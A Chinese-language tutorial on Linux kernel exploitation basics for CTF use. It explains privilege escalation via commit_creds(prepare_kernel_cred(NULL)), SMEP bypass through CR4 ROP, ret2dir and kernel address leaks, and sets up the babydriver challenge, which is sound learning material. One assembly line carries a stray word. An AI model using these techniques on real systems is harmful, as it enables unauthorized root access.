基础知识
内核概述
内核架构
通常来说我们可以把内核架构分为两种:宏内核和微内核,现在还有一种内核是混合了宏内核与微内核的特性,称为混合内核。
- 宏内核(Monolithic kernel),也译为集成式内核、单体式内核,一种操作系统内核架构,此架构的特性是整个内核程序是一个单一二进制可执行文件,在内核态以监管者模式(Supervisor Mode)来运行。相对于其他类型的操作系统架构,如微内核架构或混合内核架构等,这些内核会定义出一个高端的虚拟接口,由该接口来涵盖描述整个电脑硬件,这些描述会集合成一组硬件描述用词,有时还会附加一些系统调用,如此可以用一个或多个模块来实现各种操作系统服务,如进程管理、并发(Concurrency)控制、存储器管理等。
- .微内核(Micro Kernel),对于微内核而言,大部分的系统服务(如文件管理等)都被剥离于内核之外,内核仅仅提供最为基本的一些功能:底层的寻址空间管理、线程管理、进程间通信等。
linux 内核
kernel 最主要的功能有两点:
- 控制并与硬件进行交互
- 提供
application
能运行的环境
Linux
内核包含的内容:
- 系统调用接口:
SCI
层提供了某些机制执行从用户空间到内核的函数调用。这个接口依赖于体系结构。 - 进程管理:进程的执行。在内核中,这些进程称为线程,代表了单独的处理器虚拟化(线程代码、数据、堆栈、CPU寄存器)。用户空间使用进程这个术语,但是
Linux
实现并没有区分这两个的概念(进程和线程),内核通过SCI
提供了一个应用程序编程接口API
,来创建一个新进程,停止进程,并在他们之间进行通信和同步。进程管理还包括处理获得进程之间共享CPU
的需求。内核实现了一种新型的调度算法,不管有多少个线程在竞争CPU
,这种算法都可以在固定时间内进行操作。调度程序也可以支持处理器(称为对称多处理器或SMP
); - 内存管理:如果由硬件管理虚拟内存,内存是按照所谓的内存页方式进行管理的(4KB),
Linux
包括了管理可用内存的方式,以及物理和虚拟映射所使用的硬件机制。但是内存管理要管理的可不止4KB
缓冲区。Linux
提供了对4KB
缓冲区的抽象,例如slab
分配器。这种内存管理模式使用的是4KB
缓冲区为基数,然后从中分配结构,并跟踪内存页使用情况,比如哪些内存是满的,哪些页面没有完全使用,哪些页面为空。由于这个原因,页面可以移除内存并放入磁盘中。这个过程叫交换,因为页面会被从内存交换到硬盘上。Linux
系统中,被用于交换的分区叫swap
分区,在windows
下叫做虚拟内存。 - 文件系统:虚拟文件系统(VFS)是
Linux
内核中非常有用的一个方面,因为它为文件系统提供了一个通用的接口抽象。VFS
在SCI
和内核所支持的文件系统做了一个交换层。在VFS
上面,是对oepn
,close
之类的函数的一个通用API
抽象。在VFS
下面是文件系统抽象,它定义了上层函数的实现方式。 - 网络管理:网络堆栈在设计上遵循模拟协议本身的分层体系结构
- 设备驱动:
Linux
内核中有大量代码都在设备驱动程序中,它们能够运转特定的硬件设备。Linux
源码提供了一个驱动程序子目录,这个目录又进一步划分为各种支持设备,例如Bluetooth
,I2C
,serial
等。
不同于Windows NT内核和Mach(Mac OS X 的组成部分)的微内核结构,linux内核采用的是单内核结构,效率高,但是体积大。
Ring Model
基本概念
intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0
, Ring 1
, Ring 2
, Ring 3
。
大多数的现代操作系统只使用了 Ring 0
和 Ring 3
。
- 内核空间运行在Ring 0特权等级,拥有自己的空间,位于内存的高地址。
- 用户空间则是我们平时应用程序运行的空间,运行在Ring 3特权等级,使用较低地址。
中断
中断即硬件/软件向 CPU
发送的特殊信号,CPU
接收到中断后会停下当前工作转而执行中断处理程序,完成后恢复原工作流程
中断向量表(interrupt vector table)类似一个虚表,该表通常位于物理地址 0~1k处,其中存放着不同中断号对应的中断处理程序的地址
自保护模式起引入中断描述符表(Interrupt Descriptor Table)用以存放 「门描述符」(gate descriptor),中断描述符表地址存放在 IDTR
寄存器中,CPU 通过中断描述符表访问对应门
「门」(gate)可以理解为中断的前置检查物件,当中断发生时会先通过这些「门」,主要有如下三种门:
- 中断门(
Interrupt gate
):用以进行硬中断处理,其类型码为110
;中断门的DPL
(Descriptor Priviledge Level)为 0,故只能在内核态下访问,即中断处理程序应当由内核激活;进入中断门会清除IF
标志位以关闭中断,防止中断嵌套的发生 - 陷阱门(
Trap gate
):类型码为111
,类似于中断门,主要用以处理CPU
异常,但不会清除IF
标志位。 - 系统门(
System gate
):Linux
特有门,类型码为 3、4、5、128;其 DPL 为 3,用以供用户进程访问,主要用以进行系统调用(int 0x80)。
用户态->内核态
当发生系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换,具体的过程为:
- 通过
swapgs
切换GS
段寄存器,将GS
寄存器值和一个特定位置的值进行交换,目的是为了保存GS
值,同时将该位置的值作为内核执行时的GS
值使用。GS
寄存器的作用是访问 CPU 特定的内存。
- 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入
RSP/ESP
。 - 通过
push
保存各寄存器值,具体代码如下:ENTRY(entry_SYSCALL_64) /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */ SWAPGS_UNSAFE_STACK /* 保存栈值,并设置内核栈 */ movq %rsp, PER_CPU_VAR(rsp_scratch) movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp /* 通过push保存寄存器值,形成一个pt_regs结构 */ /* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ pushq %rax /* pt_regs->orig_ax */ pushq %rdi /* pt_regs->di */ pushq %rsi /* pt_regs->si */ pushq %rdx /* pt_regs->dx */ pushq %rcx tuichu /* pt_regs->cx */ pushq $-ENOSYS /* pt_regs->ax */ pushq %r8 /* pt_regs->r8 */ pushq %r9 /* pt_regs->r9 */ pushq %r10 /* pt_regs->r10 */ pushq %r11 /* pt_regs->r11 */ sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
- 通过汇编指令判断是否为
x32_abi
。(linux 32 位内核) - 通过系统调用号,跳到全局变量
sys_call_table
相应位置继续执行系统调用。
内核态->用户态
具体流程如下:
- 通过
swapgs
恢复GS
值 - 通过
sysretq
或者iretq
恢复到用户空间继续执行。如果使用iretq
还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp
等),即trap_frame
。
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
对于开启了 KPTI
(内核页表隔离),我们不能像之前那样直接 swapgs; iret
返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来
众所周知 Linux 采用四级页表结构(PGD->PUD->PMD->PTE),而 CR3 控制寄存器用以存储当前的 PGD 的地址,因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换,为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址),这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作
需要进行说明的是,在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,如下图所示,左侧是未开启 KPTI 后的页表布局,右侧是开启了 KPTI 后的页表布局
KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限(NX),这使得 ret2usr 彻底成为过去式
除了在系统调用入口中将用户态页表切换到内核态页表的代码外,内核也相应地在 arch/x86/entry/entry_64.S
中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode
,地址可以在 /proc/kallsyms
中获得。
swapgs_restore_regs_and_return_to_usermode
定义如下:
0xffffffff81c00fb0 <swapgs_restore_regs_and_return_to_usermode>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81c00fb5 <swapgs_restore_regs_and_return_to_usermode+5>: pop r15
0xffffffff81c00fb7 <swapgs_restore_regs_and_return_to_usermode+7>: pop r14
0xffffffff81c00fb9 <swapgs_restore_regs_and_return_to_usermode+9>: pop r13
0xffffffff81c00fbb <swapgs_restore_regs_and_return_to_usermode+11>: pop r12
0xffffffff81c00fbd <swapgs_restore_regs_and_return_to_usermode+13>: pop rbp
0xffffffff81c00fbe <swapgs_restore_regs_and_return_to_usermode+14>: pop rbx
0xffffffff81c00fbf <swapgs_restore_regs_and_return_to_usermode+15>: pop r11
0xffffffff81c00fc1 <swapgs_restore_regs_and_return_to_usermode+17>: pop r10
0xffffffff81c00fc3 <swapgs_restore_regs_and_return_to_usermode+19>: pop r9
0xffffffff81c00fc5 <swapgs_restore_regs_and_return_to_usermode+21>: pop r8
0xffffffff81c00fc7 <swapgs_restore_regs_and_return_to_usermode+23>: pop rax
0xffffffff81c00fc8 <swapgs_restore_regs_and_return_to_usermode+24>: pop rcx
0xffffffff81c00fc9 <swapgs_restore_regs_and_return_to_usermode+25>: pop rdx
0xffffffff81c00fca <swapgs_restore_regs_and_return_to_usermode+26>: pop rsi
0xffffffff81c00fcb <swapgs_restore_regs_and_return_to_usermode+27>: mov rdi,rsp
0xffffffff81c00fce <swapgs_restore_regs_and_return_to_usermode+30>: mov rsp,QWORD PTR gs:0x6004
0xffffffff81c00fd7 <swapgs_restore_regs_and_return_to_usermode+39>: push QWORD PTR [rdi+0x30]
0xffffffff81c00fda <swapgs_restore_regs_and_return_to_usermode+42>: push QWORD PTR [rdi+0x28]
0xffffffff81c00fdd <swapgs_restore_regs_and_return_to_usermode+45>: push QWORD PTR [rdi+0x20]
0xffffffff81c00fe0 <swapgs_restore_regs_and_return_to_usermode+48>: push QWORD PTR [rdi+0x18]
0xffffffff81c00fe3 <swapgs_restore_regs_and_return_to_usermode+51>: push QWORD PTR [rdi+0x10]
0xffffffff81c00fe6 <swapgs_restore_regs_and_return_to_usermode+54>: push QWORD PTR [rdi]
0xffffffff81c00fe8 <swapgs_restore_regs_and_return_to_usermode+56>: push rax
0xffffffff81c00fe9 <swapgs_restore_regs_and_return_to_usermode+57>: xchg ax,ax
0xffffffff81c00feb <swapgs_restore_regs_and_return_to_usermode+59>: mov rdi,cr3
0xffffffff81c00fee <swapgs_restore_regs_and_return_to_usermode+62>: jmp 0xffffffff81c01024
0xffffffff81c01024 <swapgs_restore_regs_and_return_to_usermode+116>: or rdi,0x1000
0xffffffff81c0102b <swapgs_restore_regs_and_return_to_usermode+123>: mov cr3,rdi
0xffffffff81c0102e <swapgs_restore_regs_and_return_to_usermode+126>: pop rax
0xffffffff81c0102f <swapgs_restore_regs_and_return_to_usermode+127>: pop rdi
0xffffffff81c01030 <swapgs_restore_regs_and_return_to_usermode+128>: swapgs
0xffffffff81c01033 <swapgs_restore_regs_and_return_to_usermode+131>: jmp 0xffffffff81c01060 <native_iret>
0xffffffff81c01060 <native_iret>: test BYTE PTR [rsp+0x20],0x4
0xffffffff81c01065 <native_iret+5>: jne 0xffffffff81c01069 <native_irq_return_ldt>
0xffffffff81c01067 <native_irq_return_iret>: iretq
大概操作如下:
mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq
前面对寄存器赋值的操作与 pt_regs
结构体对应
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
关于 syscall
系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装 (read 和 write))。
Int $0x80
指令的目的是产生一个编号为128的编程异常,这个编程异常对应的是中断描述符表 IDT 中的第 128 项——也就是对应的系统门描述符。门描述符中含有一个预设的内核空间地址,它指向系统调用处理程程序:system_call()
。
关于 ioctl
在 man 手册中,关于这个函数的说明如下
NAME
ioctl - control device
SYNOPSIS
#include <sys/ioctl.h>
int ioctl(int fd, unsigned long request, ...);
DESCRIPTION
The ioctl() system call manipulates the underlying device parameters of special
files. In particular, many operating characteristics of character special
files (e.g., terminals) may be controlled with ioctl() requests. The argument
fd must be an open file descriptor.
The second argument is a device-dependent request code. The third argument is
an untyped pointer to memory. It's traditionally char *argp (from the days
before void * was valid C), and will be so named for this discussion.
An ioctl() request has encoded in it whether the argument is an in parameter or
out parameter, and the size of the argument argp in bytes. Macros and defines
used in specifying an ioctl() request are located in the file <sys/ioctl.h>.
int ioctl(int fd, unsigned long request, ...)
的第一个参数为打开设备 (open) 返回的 文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。
使用 ioctl 进行通信的原因:
操作系统提供了内核访问标准外部设备的系统调用,因为大多数硬件设备只能够在内核空间内直接寻址,
但是当访问非标准硬件设备这些系统调用显得不合适, 有时候用户模式可能需要直接访问设备。比如,一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持,有一些设备可能没有被内核设计者考虑到,如此一来提供一个这样的系统调用来使用设备就变得不可能了。
为了解决这个问题,内核被设计成可扩展的,可以加入一个称为设备驱动的模块,驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个 Ioctl
接口是一个独立的系统调用,通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的 Ioctl
调用,如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节,同时也不需要一大堆针对不同设备的系统调用。
进程权限管理
注意到 task_struct
的源码中有如下代码:
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred
结构体进行标识,对于一个进程而言应当有三个 cred
:
ptracer_cred
: 使用ptrace
系统调用跟踪该进程的上级进程的cred
( gdb 调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)。real_cred
:即客体凭证(objective cred),通常是一个进程最初启动时所具有的权限。cred
:即主体凭证(subjective cred),该进程的有效cred
,kernel 以此作为进程权限的凭证。
进程权限凭证: cred
结构体
对于一个进程,在内核当中使用一个结构体 cred
管理其权限,该结构体定义于内核源码 include/linux/cred.h
中,如下:
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
我们主要关注 cred
结构体中管理权限的变量
用户 ID 和组 ID
一个 cred
结构体中记载了一个进程四种不同的用户 ID:
- 用户真实 ID(
real UID
):标识一个进程启动时的用户 ID - 保存用户 ID(
saved UID
):标识一个进程最初的有效用户 ID - 有效用户 ID(
effective UID
):标识一个进程正在运行时所属的用户 ID - 文件系统用户 ID(
UID for VFS ops
):标识一个进程创建文件时进行标识的用户 ID
通常情况下这四个值都是相同的。
用户组 ID 同样分为四个:真实组、保存组、有效组、文件系统组与上面类似。
提权
通过前面我们可以知道,只要我们改变一个进程的 cred
结构体,就能改变其执行权限。
内核空间下面有两个函数,都位于 kernel/cred.c
中:
struct cred* prepare_kernel_cred(struct task_struct* daemon)
:该函数用以拷贝一个进程的cred
结构体,并返回一个新的cred
结构体,需要注意的是daemon
参数应为有效的进程描述符地址或者 NULL 。int commit_creds(struct cred *new)
:该函数用以将一个新的cred
结构体应用到进程。
查看prepare_kernel_cred()
函数源码,观察到如下逻辑:
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
...
在 prepare_kernel_cred()
函数中,若传入的参数为 NULL ,则会缺省使用 init
进程的 cred
作为模板进行拷贝,即可以直接获得一个标识着 root 权限的 cred 结构体。那么我们不难想到,只要我们能够在内核空间执行 commit_creds(prepare_kernel_cred(NULL))
,那么就能够将进程的权限提升到 root。
另外 init_cred
是在内核当中有一个特殊的 cred
,它是 init
进程的 cred
,因此其权限为 root ,且该 cred
并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred
的地址,那么我们就只需要执行一次 commit_creds(&init_cred)
便能完成提权。
IO
UNIX/Linux 追求高层次抽象上的统一,其设计哲学之一便是万物皆文件。
万物皆文件
UNIX/Linux 设计的哲学之一 —— 万物皆文件,在 Linux 系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作:
通过这种哲学,Linux提供了操作的同一性:
- 所有的读取操作都可以通过
read
进行 - 所有的更改操作都可以通过
write
进行
进程文件系统
用以描述一个进程,其中包括一个该进程所打开的文件描述符、堆栈内存布局、环境变量等
进程文件系统本身是一个伪文件系统,通常被挂载到 /proc
目录下,并不真正占用存储,而是占用一定的内存
当一个进程被建立起来时,其进程文件系统便会挂载到 /proc/[PID]
下,我们可以在该目录下查看其相关信息。
文件描述符
进程通过文件描述符来完成对文件的访问,其在形式上是一个非负整数,本质上是对文件的索引值,进程所有执行 I/O 操作的系统调用都会通过文件描述符。
每个进程都独立有着一个文件描述符表,存放着该进程所打开的文件索引,每当进程成功打开一个现有文件/创建一个新文件时(通过系统调用 open
进行操作),内核会向进程返回一个文件描述符。
在 kernel 中有着一个文件表,由所有的进程共享。
每个 *NIX
进程都应当有着三个标准的 POSIX 文件描述符,对应着三个标准文件流:
stdin
:标准输入 = 0stdout
:标准输出 = 1stderr
:标准错误 = 2
后面打开的文件描述符应当从标号 3 起始。
系统调用:ioctl
在*NIX
中一切都可以被视为文件,因为一切都可以访问文件的方式进行操作,Linux
定义了系统调用ioctl
供进程与设备之间进行通信
系统调用ioctl
是一个用于设备输入输出操作的一个系统调用,调用方式如下:
int ioctl(int fd,unsigned long request, ...)
fd
:设备的文件描述符request
:请求码- 其他参数
对于一个提供了ioctl通信方式的设备而言,我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过ioctl系统调用完成不同的对设备的I/O操作
例如CD-ROM驱动程序弹出光驱的这一操作就对应着对“光驱设备”这一文件通过ioctl传递特定的请求码与请求参数完成
内核态函数调用
printf
变更为printk()
,但需要注意的是printtk()
不一定会把内容显示在终端上,当一定是在内核缓冲区里,可以通过dmesg
查看效果。memcpy
变更为copy_from_user()/copy_to_user()
copy_from_user()
将用户空间的数据传送到内核空间copy_to_user()
实现将内核空间的数据传送到用户空间
malloc()
变更为kmalloc()
,内核态的内存分配函数,和malloc
相似,但使用slab,slub
分配器,这个分配器通过一个多级的结构进行管理。- 首先有
cache
层,cache
是一个结构,也就是用来分配或者已经分配的一部分内核空间。kmalloc
使用多个cache
,一个cache
对应一个 2 的幂的大小的一组内存对象。slab
分配器严格按照cache
去区分,不同的cache
无法分配在一页内,slub
分配器则较为宽松,不同的cache
如果分配相同大小,可能会在一页内。
- 首先有
free
变更为kfree()
,同kmalloc()
。
信息获取
kptr_restrict
内核提供控制变量 /proc/sys/kernel/kptr_restrict
用于控制内核的一些输出打印。
kptr_restrict == 2
:内核将符号地址打印为全 0 , root 和普通用户都没有权限.kptr_restrict == 1
: root 用户有权限读取,普通用户没有权限.kptr_restrict == 0
: root 和普通用户都可以读取.
/proc/kallsyms
的内容需要root
权限才能查看,如果以非root
用户权限查看将显示地址为0
kallsyms
抽取了内核用到的所有函数地址(全局的,静态的)和非栈数据变量地址,生成一个数据块,作为只读数据链接进 kernel image
。
要在内核中启用 kallsyms
功能,须设置 CONFIG_KALLSYMS
选项为 y
,如果要在 kallsyms
中包含全部符号信息,须设置 CONFIG_KALLSYMS_ALL
为 y
。
kallsyms
表位于 /proc/kallsyms
,kernel
中的 mod_tree
处存放着各个模块加载的地址.
sudo sysctl -w kernel.kptr_restrict=0
# 设置权限
cat /proc/kallsyms
# 列出所有内核符号
grep mod_tree /proc/kallsyms
# 列出各个模块加载的地址
cat /proc/modules
# 列出系统中已经加载的模块及其地址
grep _text /proc/kallsyms
# vmlinux加载地址
sys 目录
dmesg_restrict
设置 /proc/sys/kernel/dmesg_restrict
为 1
禁止普通用户查看 demsg
信息,为 0
则允许.
sudo sysctl -w kernel.dmesg_restrict=0
# 设置权限
dmesg
slab 信息
sudo cat /proc/slabinfo
内核保护机制
smep
管理模式执行保护(Superivisor Mode Access Protection),禁止内核执行用户空间代码。当处理器处于ring 0
模式,执行用户空间的代码会触发页错误。Linux
下叫做PXN
。
smap
管理模式访问保护(Supervisor Mode Access Prevention),禁止内核访问用户地址空间,类似于smep
。当处理器处于ring 0
模式,访问用户空间的数据会触发页错误。ARM
下叫做PAN
(Privileged Access Never)
- 对于没有
SMAP/SMEP
的情况下把内核指针重定向到用户空间的利用方式称为ret2usr
。 - 上面两种保护的绕过方法:
physmap
是内核管理的一块非常大的连续的虚拟地址空间,为了提高效率,该地址空间和内存地址直接映射。内存地址相对physmap
要小的多,导致了任何一个内存地址可以在physmap
中找到对应的虚拟内存地址。我们知道用户空间的虚拟内存也会映射到内存地址,这就存在了连续虚拟内存地址映射到了同一个内存地址的情况。也就是说,我们在用户空间里创建的数据,代码就很有可能映射到physmap
空间。那么在用户空间用mmap()
将提权代码映射到内存,然后再在内核空间里找到其对应的副本,修改IP
调到副本执行就可以了。因为physmap
本身就在内核空间里,这种漏洞利用方式叫做ret2dir
。Intel
下系统根据CR4
控制寄存器的第20
位标识是否开启SMEP
保护,若能够通过kernel ROP
改变CR4
寄存器的值便能够关闭SMEP
保护,完成SMEP-bypass
,接下来就可以重新ret2usr
。
- 关闭
SMEP
方法:修改/etc/default/grub
文件中的GRUB_CMDLINE_LINUX=
,加上nosmep/nosmap/nokaslr
,然后update-grub
就可以。
MMAP_MIN_ADDR
内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间mmap的内存从0开始,从而缓解空指针引用攻击。windows系统从win8开始禁止在零页分配内存。从linux内核2.6.22开始可以使用sysctl设置mmap_min_addr来实现这一保护。
KASLR
内核地址空间布局随机化(Kernel Address Space Layout Randomization),开启后,允许kernel image
加载到VMALLOC
区域的任何位置。在未开启KASLR保护机制时,内核的基址为0xffffffff80000000
, 内核会占用0xffffffff80000000~0xffffffffC0000000
这1G虚拟地址空间
Dmesg Restrictions
通过设置/proc/sys/kernel/dmesg_restrict
为1,可以将dmesg
输出的信息视为敏感信息(默认为0)
Kernel Address Display Restriction
内核提供控制变量 /proc/sys/kernel/kptr_restrict
用于控制内核的一些输出打印,在/proc/sys/kernel/kptr_restrict
被设置1,导致无法通过/proc/kallsyms
获取内核地址。
Kernel PageTable Isolation
KPTI
,内核页表隔离,进程页表隔离。进程地址空间被分成了内核地址空间和用户地址空间,内核地址都是共享的,用户空间只能单独使用。为了防止用户程序获取内核数据,可以让用户地址空间和内核地址空间使用两组页表集。Windows
称为KVA Shadow
。
由于有KPTI
保护,即使关闭了smep
和smap
,也不能执行用户区间的代码
,只能读,原因如下:
不隔离不意味着完全相同,填充内核态页表项时,KPTI
会给页表项加上 _PAGE_NX
标志,以阻止执行内核态页表所映射用户地址空间的代码。在 KAISER patch
里把这一步骤叫 毒化(poison
)。
检查方式:查看 /sys/devices/system/cpu/vulnerabilities/*
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
STACK PROTECTOR
类似于用户态程序的canary,通常又被称作是stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生kernel panic
。
开启: 在编译内核时,我们可以设置 CONFIG_CC_STACKPROTECTOR 选项,来开启该保护。
关闭: 我们需要重新编译内核,并关闭编译选项才可以关闭 Canary 保护。
内核中的canary
的值通常取自gs
段寄存器某个固定偏移处的值,可以直接绕过。
环境搭建
这里以 CISCN2017 - babydriver 为例讲解一下 kernel pwn 环境搭建。
基础概念
将下载好附件解压后发现三个文件:
boot.sh
:启动脚本bzImage
:内核镜像rootfs.cpio
:文件系统
启动脚本
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null -m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep
在用 qemu 启动内核时,常用的选项如下
- -m, 指定 RAM 大小,默认 384M
- -kernel,指定内核镜像文件 bzImage 路径
- -initrd,设置内核启动的内存文件系统
- -smp [cpus=]n[,cores=cores][,threads=threads][,dies=dies][,sockets=sockets][,maxcpus=maxcpus],指定使用到的核数。
- -cpu,指定指定要模拟的处理器架构,可以同时开启一些保护,如
- +smap,开启 smap 保护
- +smep,开启 smep 保护
- -nographic,表示不需要图形界面
- -monitor,对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。
-monitor /dev/null
后Ctrl + c
可以直接退出 qemu 。 - -append,附加选项
- nokaslr 关闭随机偏移
- pti=on/off 开启/关闭 KPTI
- console=ttyS0,和 nographic 一起使用,启动的界面就变成了当前终端。
安装 qemu 后运行 boot.sh
即可启动 linux 系统。
内核镜像
- vmlinux:原始内核文件
- 在当前目录下提取到
vmlinux
,为编译出来的原始内核文件。
- 在当前目录下提取到
- bzImage:压缩内核镜像
- 在当前目录下的
arch/x86/boot/
目录下提取到bzImage
,为压缩后的内核文件,适用于大内核。
- 在当前目录下的
- zImage && bzImage
- zImage 是 vmlinux 经过gzip压缩后的文件。
- bzImage 中的 bz 表示“big zImage”。bzImage 不是用 bzip2 压缩,而是要偏移到一个位置,使用 gzip 压缩。
- 两者的不同之处在于,zImage 解压缩内核到低端内存(第一个 640K),bzImage 解压缩内核到高端内存(1M 以上)。如果内核比较小,那么采用 zImage 或 bzImage 都行,如果比较大应该用 bzImage 。
文件系统
启动的文件系统,可以通过 cpio
进行解压(cpio -idmv < rootfs.cpio
),不过有的题目可能会把一些其它压缩格式的文件系统后缀改成 cpio
(例如这道 babydriver 例题就是??)所以最好直接右键 + Extract Here
解压。
将 rootfs
解压后可以看到在其根目录下有 init
文件,内容如下:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
init
是 linux 启动时的初始化文件,主要做一些环境配置。通过分析 init
文件可以获取一些重要信息,另外可以通过修改 init
文件增加调试分析的便捷性。
- 从
init
脚本中得知 需要分析的驱动文件的所在路径为/lib/modules/4.4.72/babydriver.ko
,另外该驱动可能对应设备/dev/babydev
,具体是否存在这种对应关系还需要分析babydriver.ko
中是否有注册babydev
设备的操作。 setsid cttyhack setuidgid 1000 sh
这条命令决定以非 root 权限启动命令行,如果想要以 root 权限启动命令行需要将 1000 改为 0 。- 有的题目可能存在
poweroff -d 120 -f &
命令用来定时关机,在本地调试的时候最好注释掉。
打包文件系统
本地调试的时候需要多次修改 exp
以及 init
,因此为了方便最好还是选择打包文件系统,而不是上传文件。注意这里的 rootfs
是手动从 rootfs.cpio
中解压出来的。
#!/bin/sh
cp -r rootfs rootfs_tmp
#musl-gcc -static -masm=intel -pthread exp.c -o exp
gcc -static -masm=intel -pthread exp.c -o exp
cp exp rootfs_tmp/
cd rootfs_tmp || exit
find . | cpio -o -H newc >../rootfs.cpio
cd ..
sudo rm -rf rootfs_tmp
其中 exp.c
文件内容如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
